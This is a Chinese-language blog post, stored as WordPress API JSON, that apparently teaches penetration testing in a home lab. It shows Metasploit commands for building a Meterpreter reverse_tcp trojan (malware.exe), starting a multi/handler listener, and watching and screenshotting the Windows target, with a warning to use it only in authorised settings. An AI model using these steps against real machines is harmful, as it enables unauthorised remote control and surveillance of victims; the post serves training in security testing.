{"id":234,"date":"2024-09-27T22:07:56","date_gmt":"2024-09-27T14:07:56","guid":{"rendered":"https:\/\/www.htmacg.cn\/?p=234"},"modified":"2024-09-27T22:07:56","modified_gmt":"2024-09-27T14:07:56","slug":"%e4%bd%bf%e7%94%a8metasploit%e7%94%9f%e6%88%90%e6%9c%a8%e9%a9%ac%e8%bf%9b%e8%a1%8c%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95","status":"publish","type":"post","link":"https:\/\/www.htmacg.cn\/?p=234","title":{"rendered":"\u4f7f\u7528Metasploit\u751f\u6210\u6728\u9a6c\u8fdb\u884c\u6e17\u900f\u6d4b\u8bd5"},"content":{"rendered":"<h2>\u524d\u8a00<\/h2>\n<p>\u6ce8\u610f\uff1a\u751f\u6210\u548c\u4f7f\u7528Metasploit\u6846\u67b6\u751f\u6210\u6728\u9a6c\u4ee5\u63a7\u5236Windows\u7cfb\u7edf\u662f\u4e00\u4e2a\u975e\u5e38\u654f\u611f\u4e14\u5177\u6709\u6f5c\u5728\u6cd5\u5f8b\u98ce\u9669\u7684\u64cd\u4f5c\u3002\u8fd9\u79cd\u884c\u4e3a\u901a\u5e38\u88ab\u89c6\u4e3a\u975e\u6cd5\u5165\u4fb5\uff0c\u53ef\u80fd\u4f1a\u5bfc\u81f4\u4e25\u91cd\u7684\u6cd5\u5f8b\u540e\u679c\u3002\u56e0\u6b64\uff0c\u5f3a\u70c8\u5efa\u8bae\u60a8\u4ec5\u5728\u5408\u6cd5\u548c\u6388\u6743\u7684\u73af\u5883\u4e2d\u8fdb\u884c\u6b64\u7c7b\u64cd\u4f5c\uff0c\u4f8b\u5982\u5728\u6388\u6743\u7684\u6e17\u900f\u6d4b\u8bd5\u6216\u5b89\u5168\u7814\u7a76\u4e2d\u3002<\/p>\n<p>&nbsp;<\/p>\n<h2>\u73af\u5883<\/h2>\n<p>\u57fa\u4e8e\u5185\u7f51\u73af\u5883\uff0c\u6240\u7528\u5230\u5de5\u5177\uff1aKali_Linux\uff08\u653b\u51fb\u7aef\uff09\/Windows10\u4e13\u4e1a\u7248\uff08\u9776\u673a\u7aef\uff09\/VMware17\u865a\u62df\u673a<\/p>\n<p>\u5e76\u4e14\u4e3a\u4e86\u63d0\u9ad8\u6210\u529f\u7387\u8bf7\u786e\u4fdd\u9776\u673a\u80fd\u591fping\u901a\uff0c\u5982\u679c\u4e0d\u80fdping\u901a\u8bf7\u68c0\u67e5\u9632\u706b\u5899\u662f\u5426\u5173\u95ed\uff0c\u5e76\u4e14\u5173\u95ed\u6240\u7528\u6740\u6bd2\u8f6f\u4ef6\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img.htmacg.cn\/i\/2024\/09\/27\/66f6bae940ec7.png\" \/><\/p>\n<p>&nbsp;<\/p>\n<h2>\u751f\u6210\u6728\u9a6c\u6587\u4ef6<\/h2>\n<h3>\u6b65\u9aa41\uff1a\u542f\u52a8Metasploit<\/h3>\n<p>\u9996\u5148\uff0c\u542f\u52a8Metasploit\u6846\u67b6\u3002<\/p>\n<pre class=\"corepress-code-pre\"><code>msfconsole<\/code><\/pre>\n<h3>\u6b65\u9aa42\uff1a\u9009\u62e9\u5e76\u914d\u7f6ePayload<\/h3>\n<p>\u9009\u62e9\u4e00\u4e2a\u5408\u9002\u7684payload\uff0c\u4f8b\u5982<code>windows\/meterpreter\/reverse_tcp<\/code>\u3002<\/p>\n<pre class=\"corepress-code-pre\"><code>use payload\/windows\/meterpreter\/reverse_tcp<\/code><\/pre>\n<h3>\u6b65\u9aa43\uff1a\u8bbe\u7f6ePayload\u9009\u9879<\/h3>\n<p>\u8bbe\u7f6epayload\u7684\u9009\u9879\uff0c\u5305\u62ec\u76d1\u542c\u7684IP\u5730\u5740\u548c\u7aef\u53e3\u3002<\/p>\n<pre class=\"corepress-code-pre\"><code>set LHOST  \/\/\u4f60\u7684Kali IP\u5730\u5740\nset LPORT  \/\/\u76d1\u542c\u7aef\u53e3<\/code><\/pre>\n<h3>\u6b65\u9aa44\uff1a\u751f\u6210\u6728\u9a6c<\/h3>\n<p>\u751f\u6210\u6728\u9a6c\u6587\u4ef6\u3002\u8fd9\u5c06\u5728<code>\/tmp<\/code>\u76ee\u5f55\u4e0b\u751f\u6210\u4e00\u4e2a\u540d\u4e3a<code>malware.exe<\/code>\u7684\u6728\u9a6c\u6587\u4ef6\u3002<\/p>\n<pre class=\"corepress-code-pre\"><code>generate -f exe -o \/tmp\/malware.exe<\/code><\/pre>\n<p>\u5b8c\u6210\u8fd9\u51e0\u6b65\u9aa4\u4ee5\u540e\u5c31\u53ef\u4ee5\u628a\u751f\u6210\u6728\u9a6c\u6587\u4ef6\u901a\u8fc7\u591a\u79cd\u9014\u5f84\u4f20\u8f93\u5230\u9776\u673a\u4e2d\u5e76\u8fd0\u884c\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img.htmacg.cn\/i\/2024\/09\/27\/66f6bb2f4a15c.png\" \/><\/p>\n<p>&nbsp;<\/p>\n<h2>\u76d1\u542c\u9776\u673a<\/h2>\n<h3>\u6b65\u9aa45\uff1a\u542f\u52a8\u76d1\u542c\u5668<\/h3>\n<p>\u5728Metasploit\u4e2d\u542f\u52a8\u76d1\u542c\u5668\u4ee5\u63a5\u6536\u6765\u81ea\u76ee\u6807\u8ba1\u7b97\u673a\u7684\u8fde\u63a5\u3002<\/p>\n<pre class=\"corepress-code-pre\"><code>use exploit\/multi\/handler\nset payload windows\/meterpreter\/reverse_tcp\nset LHOST \/\/\u4f60\u7684Kali IP\u5730\u5740\nset LPORT \/\/\u76d1\u542c\u7aef\u53e3\nexploit<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/img.htmacg.cn\/i\/2024\/09\/27\/66f6bb4e2766d.png\" \/><\/p>\n<p>&nbsp;<\/p>\n<h2>\u63a7\u5236\u76ee\u6807\u8ba1\u7b97\u673a<\/h2>\n<pre class=\"corepress-code-pre\"><code>vnc run -i \/\/\u76d1\u63a7\u9776\u673a\u5c4f\u5e55\n\nsysinfo \/\/\u83b7\u53d6\u7cfb\u7edf\u4fe1\u606f\n\nscreenshot \/\/\u83b7\u53d6\u9776\u673a\u5c4f\u5e55\u622a\u56fe<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img.htmacg.cn\/i\/2024\/09\/27\/66f6bcac22d6c.png\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img.htmacg.cn\/i\/2024\/09\/27\/66f6bcbe11a59.png\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img.htmacg.cn\/i\/2024\/09\/27\/66f6bcccbef0a.png\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00 \u6ce8\u610f\uff1a\u751f\u6210\u548c\u4f7f\u7528Metasploit\u6846\u67b6\u751f\u6210\u6728\u9a6c\u4ee5\u63a7\u5236Windows\u7cfb\u7edf\u662f\u4e00\u4e2a\u975e\u5e38\u654f\u611f\u4e14\u5177\u6709\u6f5c\u5728\u6cd5\u5f8b\u98ce\u9669\u7684\u64cd\u4f5c\u3002\u8fd9\u79cd\u884c\u4e3a\u901a\u5e38\u88ab\u89c6\u4e3a\u975e\u6cd5\u5165\u4fb5\uff0c\u53ef\u80fd\u4f1a\u5bfc\u81f4\u4e25\u91cd\u7684\u6cd5\u5f8b\u540e\u679c\u3002\u56e0\u6b64\uff0c\u5f3a\u70c8\u5efa\u8bae\u60a8\u4ec5\u5728\u5408\u6cd5\u548c\u6388\u6743\u7684\u73af\u5883\u4e2d\u8fdb\u884c\u6b64\u7c7b\u64cd\u4f5c\uff0c\u4f8b\u5982\u5728\u6388\u6743\u7684\u6e17\u900f\u6d4b\u8bd5\u6216\u5b89\u5168\u7814\u7a76\u4e2d\u3002 &nbsp; \u73af\u5883 \u57fa\u4e8e\u5185\u7f51\u73af\u5883\uff0c\u6240\u7528\u5230&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-234","post","type-post","status-publish","format-standard","hentry","category-information_security"],"_links":{"self":[{"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=\/wp\/v2\/posts\/234","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=234"}],"version-history":[{"count":0,"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=\/wp\/v2\/posts\/234\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=234"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=234"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=234"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}